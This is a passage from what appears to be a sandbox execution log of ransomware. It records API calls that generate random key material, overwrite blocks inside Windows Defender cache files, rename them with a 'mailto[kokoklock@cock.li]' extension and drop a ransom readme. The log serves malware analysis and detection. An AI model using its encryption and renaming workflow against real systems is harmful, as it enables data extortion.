lpNewFilePointer=0x0) returned 1 [0079.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0079.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927a8 [0079.157] NtQuerySystemTime (in: CurrentTime=0x217bfe30 | out: CurrentTime=0x217bfe30*=132121176370480305) returned 0x0 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x6d2cafb8 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x9973d460 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xfb2bbd23 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xee3fe4ee [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xd72f9ce5 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xd4da95d9 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x20807144 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x60a411c9 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x17c3348c [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xdbd061fc [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x39a449ec [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xc5f760b0 [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x74670edd [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x629f0ead [0079.157] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x38fca993 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xcbc6e2c9 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xcf98ea12 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x38b9db06 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xf5bdcd89 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xab33fc28 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xe51197b6 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x170486f9 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x100e9bb9 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x68c15200 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x3c11df6b [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xfa560b40 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xca28f27e [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xa8672f9c [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x730dece5 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0xa5f6475b [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x3642acd8 [0079.158] RtlRandom (in: Seed=0x217bfe3c | out: Seed=0x217bfe3c) returned 0x210f6507 [0079.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.169] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.169] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.215] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924d8 [0079.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924d8) returned 1 [0079.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924d8 [0079.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925a0) returned 1 [0079.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.216] WriteFile (in: hFile=0x42c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.216] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.216] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.259] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0079.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0079.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0079.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0079.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.260] WriteFile (in: hFile=0x42c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.260] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x4010b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.260] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.271] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x4010b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492528 [0079.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492528) returned 1 [0079.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492398 [0079.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492438 [0079.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492438) returned 1 [0079.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x217bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x217bfdf0*=0x4096, lpOverlapped=0x0) returned 1 [0079.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x34924d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x217bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x34924d8*, lpNumberOfBytesWritten=0x217bfe4c*=0x20, lpOverlapped=0x0) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x217bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x217bfe4c*=0x20, lpOverlapped=0x0) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x3492398*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x217bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x3492398*, lpNumberOfBytesWritten=0x217bfe4c*=0x20, lpOverlapped=0x0) returned 1 [0079.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x3492848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x3492848*, lpNumberOfBytesWritten=0x217bfe54*=0x8, lpOverlapped=0x0) returned 1 [0079.272] WriteFile (in: hFile=0x42c, lpBuffer=0x217bfe6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x217bfe6c*, lpNumberOfBytesWritten=0x217bfe54*=0x4, lpOverlapped=0x0) returned 1 [0079.273] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x217bfe54*=0x4, lpOverlapped=0x0) returned 1 [0079.273] WriteFile (in: hFile=0x42c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x217bfe54*=0x6c, lpOverlapped=0x0) returned 1 [0079.273] WriteFile (in: hFile=0x42c, lpBuffer=0x3492500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x3492500*, lpNumberOfBytesWritten=0x217bfe54*=0x20, lpOverlapped=0x0) returned 1 [0079.273] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x217bfe54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x217bfe54*=0x4, lpOverlapped=0x0) returned 1 [0079.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0079.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34927f8) returned 1 [0079.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492848) returned 1 [0079.273] CloseHandle (hObject=0x42c) returned 1 [0079.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33f21a8 [0079.275] wcscpy (in: _Dest=0x33f21a8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" [0079.275] wcscat (in: _Dest=0x33f21a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.mailto[kokoklock@cock.li].d0e731" [0079.275] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f21a8) returned 1 [0079.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", dwFileAttributes=0x20) returned 0 [0079.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.282] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.282] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.283] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ae20) returned 1 [0079.283] RtlExitUserThread (Status=0x1) Thread: id = 918 os_tid = 0x155c [0079.153] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b")) returned 0x20 [0079.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", dwFileAttributes=0x20) returned 1 [0079.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.155] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2183f9f4 | out: lpFileSize=0x2183f9f4*=26125796) returned 1 [0079.155] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x18ea5e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.155] ReadFile (in: hFile=0x438, lpBuffer=0x2183f9c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2183f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2183f9c8*, lpNumberOfBytesRead=0x2183f9c4*=0x4, lpOverlapped=0x0) returned 1 [0079.197] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492578 [0079.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492460 [0079.197] NtQuerySystemTime (in: CurrentTime=0x2183f9a0 | out: CurrentTime=0x2183f9a0*=132121176370948693) returned 0x0 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xdd4aff30 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xb522731 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x4a5b43ba [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x66bac208 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x2ec143eb [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x87d6d7de [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x50354368 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xb58479a [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x84a90f41 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x4ee1af5c [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x692660f2 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x1e56fa5a [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x7145dd31 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xa0924aa8 [0079.197] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xd81061ec [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x1723bbdb [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xeddafea5 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x3c8214f7 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x8942167e [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x602b9281 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x26ce348b [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x2347f6fc [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x14275714 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x17842e4c [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x773e40a1 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x71741af1 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xe195d2a4 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0xfdf0f7eb [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x4c4246fa [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x4513d14b [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x564cccc2 [0079.198] RtlRandom (in: Seed=0x2183f9ac | out: Seed=0x2183f9ac) returned 0x19360b3b [0079.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.213] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.213] ReadFile (in: hFile=0x438, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.261] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0079.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0079.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0079.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0079.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.262] WriteFile (in: hFile=0x438, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.262] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xc78f7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.262] ReadFile (in: hFile=0x438, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.273] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xc78f7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927f8 [0079.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34927f8) returned 1 [0079.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927f8 [0079.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492848 [0079.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492848) returned 1 [0079.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.274] WriteFile (in: hFile=0x438, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.274] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x18e654e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.274] ReadFile (in: hFile=0x438, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2183f960, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x2183f960*=0x4096, lpOverlapped=0x0) returned 1 [0079.276] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x18e654e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0079.276] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492848 [0079.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492438 [0079.276] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492438) returned 1 [0079.276] 